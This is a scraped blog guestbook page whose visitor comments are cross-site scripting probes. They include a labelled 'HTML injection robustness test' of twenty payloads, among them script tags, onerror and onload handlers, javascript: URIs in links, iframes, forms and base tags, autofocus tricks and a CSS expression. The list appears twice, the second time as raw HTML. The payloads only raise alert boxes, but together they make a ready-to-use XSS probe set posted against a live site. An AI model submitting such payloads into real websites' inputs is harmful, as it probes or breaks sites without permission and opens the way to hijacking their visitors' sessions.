留言板 – 羽织隙光

留言板

2026-3-18 23:02

像素咸鱼

0 字

几秒读完

1

6 小时前
2026-3-18 23:04:50

1
1

5 小时前
2026-3-18 23:08:26

<img src=x onerror=alert(‘XSS5’)>
1

5 小时前
2026-3-18 23:09:22

<a href=”javascript:alert(‘XSS测试3’)”>点击我
1

5 小时前
2026-3-18 23:10:46

<div style=”border:2px solid red; padding:10px; margin:10px; background:#fdd;”>
⚠️ HTML注入鲁棒测试 ⚠️
说明：以下每个测试项都会尝试执行JavaScript。若弹出对应数字的对话框，表示该注入点有效。
测试完成后请刷新页面以清除可能残留的脚本。

alert(‘XSS测试1 – 基础script’)

<img src=”invalid.jpg” onerror=”alert(‘XSS测试2 – img onerror’)”>

<a href=”javascript:alert(‘XSS测试3 – javascript伪协议’)”>点击我（可能会自动触发）

<svg onload=”alert(‘XSS测试4 – svg onload’)”>

<body onload=”alert(‘XSS测试5 – body onload’)”>

<input type=”text” value=”XSS” onfocus=”alert(‘XSS测试6 – input autofocus’)” autofocus>

<details open ontoggle=”alert(‘XSS测试7 – details ontoggle’)”>

alert(‘XSS测试8 – 大小写混合’)

<img src=”x” onerror=”alert(‘XSS测试9 – HTML实体编码’)”>

<img src=x onerror=alert(‘XSS测试10 – 无引号属性’)>

<iframe src=”javascript:alert(‘XSS测试11 – iframe’)”>

<div style=”width:expression(alert(‘XSS测试12 – CSS expression’))”>CSS表达式（仅旧版IE）

<link rel=”stylesheet” href=”javascript:alert(‘XSS测试13 – link伪协议’)”>

<object data=”javascript:alert(‘XSS测试14 – object’)”>

<embed src=”javascript:alert(‘XSS测试15 – embed’)”>

<video src=”invalid.mp4″ onerror=”alert(‘XSS测试16 – video onerror’)”>

<audio src=”invalid.mp3″ onerror=”alert(‘XSS测试17 – audio onerror’)”>

<marquee onstart=”alert(‘XSS测试18 – marquee onstart’)”>滚动文字

<form action=”javascript:alert(‘XSS测试19 – form action’)”><input type=”submit”>

<base href=”javascript:alert(‘XSS测试20 – base’)//”>

 <div style="border:2px solid red; padding:10px; margin:10px; background:#fdd;"> <strong>⚠️ HTML注入鲁棒测试 ⚠️</strong><br> 说明：以下每个测试项都会尝试执行JavaScript。若弹出对应数字的对话框，表示该注入点有效。<br> 测试完成后请刷新页面以清除可能残留的脚本。 </div>  <script>alert('XSS测试1 - 基础script')</script>  <img src="invalid.jpg" onerror="alert('XSS测试2 - img onerror')">  <a href="javascript:alert('XSS测试3 - javascript伪协议')">点击我（可能会自动触发）</a>  <svg onload="alert('XSS测试4 - svg onload')"></svg>  <body onload="alert('XSS测试5 - body onload')">  <input type="text" value="XSS" onfocus="alert('XSS测试6 - input autofocus')" autofocus>  <details open ontoggle="alert('XSS测试7 - details ontoggle')"></details>  <ScRiPt>alert('XSS测试8 - 大小写混合')</ScRiPt>  <img src="x" onerror="alert('XSS测试9 - HTML实体编码')">  <img src=x onerror=alert('XSS测试10 - 无引号属性')>  <iframe src="javascript:alert('XSS测试11 - iframe')"></iframe>  <div style="width:expression(alert('XSS测试12 - CSS expression'))">CSS表达式（仅旧版IE）</div>  <link rel="stylesheet" href="javascript:alert('XSS测试13 - link伪协议')">  <object data="javascript:alert('XSS测试14 - object')"></object>  <embed src="javascript:alert('XSS测试15 - embed')"></embed>  <video src="invalid.mp4" onerror="alert('XSS测试16 - video onerror')"></video>  <audio src="invalid.mp3" onerror="alert('XSS测试17 - audio onerror')"></audio>  <marquee onstart="alert('XSS测试18 - marquee onstart')">滚动文字</marquee>  <form action="javascript:alert('XSS测试19 - form action')"><input type="submit"></form>  <base href="javascript:alert('XSS测试20 - base')//">